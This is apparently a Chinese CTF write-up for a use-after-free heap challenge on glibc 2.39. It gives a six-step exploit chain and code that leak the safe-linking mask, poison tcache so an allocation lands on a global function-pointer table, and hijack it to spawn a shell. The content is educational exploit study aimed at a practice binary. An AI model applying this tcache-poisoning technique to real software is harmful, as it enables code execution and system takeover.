从悬垂指针到 getshell:一道 UAF 题的完整 tcache 投毒实战

UAF 读泄露 safe-linking 掩码,UAF 写投毒 tcache 到全局函数指针表,六步打通真实 glibc 2.39 环境

题目背景

一道面向 glibc 2.39 真实环境的 UAF 题:删除便签后指针未置空,留下悬垂指针,既可读(UAF read)也可写(UAF write)。目标是 tcache 投毒劫持全局函数指针表 ops[]。

保护:No PIE、NX、Partial RELRO。

六步利用链

① delete(0)                     # 制造悬垂指针
② show(0) 读 next 字段          # 泄露 mask = chunk >> 12
③ delete(1); delete(2)          # 链上挂 3 个空闲 chunk
④ edit(2) 写入 OPS ^ mask       # UAF 写投毒
⑤ add(); add()                  # 第二次 malloc 返回 &ops[]
⑥ add() 写入 win 地址并触发     # ops[0] 被劫持 → system("sh")

关键代码

泄露掩码:

delete(0)
mask = u64(show(0, 0x20)[:8])   # next = (chunk>>12) ^ 0

投毒(注意目标必须 16 字节对齐,ops 用 __attribute__((aligned(16))) 保证):

delete(1)
delete(2)
edit(2, p64(OPS ^ mask).ljust(0x20, b"\x00"), 0x20)
add(0x20, b"X" * 0x20)                    # 取走链头
add(0x20, p64(WIN).ljust(0x20, b"\x00")) # 这块落在 &ops[]

最后触发 ops[0](sh),拿到 shell。

与 hacknote 的对比

hacknote(入门) 本题(进阶)
劫持对象 堆上结构体的函数指针 全局函数指针表
是否需要堆地址 否 是(safe-linking 编码)
核心技术 UAF 直接复用 UAF 读写 + tcache 投毒

给学习者的建议

先用 gdb 的 tcache 命令观察 free 前后链表变化,再手动复现"读 mask"这一步。投毒成功那一刻全局地址出现在 tcache entries 里,你会对整个机制有肌肉记忆级的理解。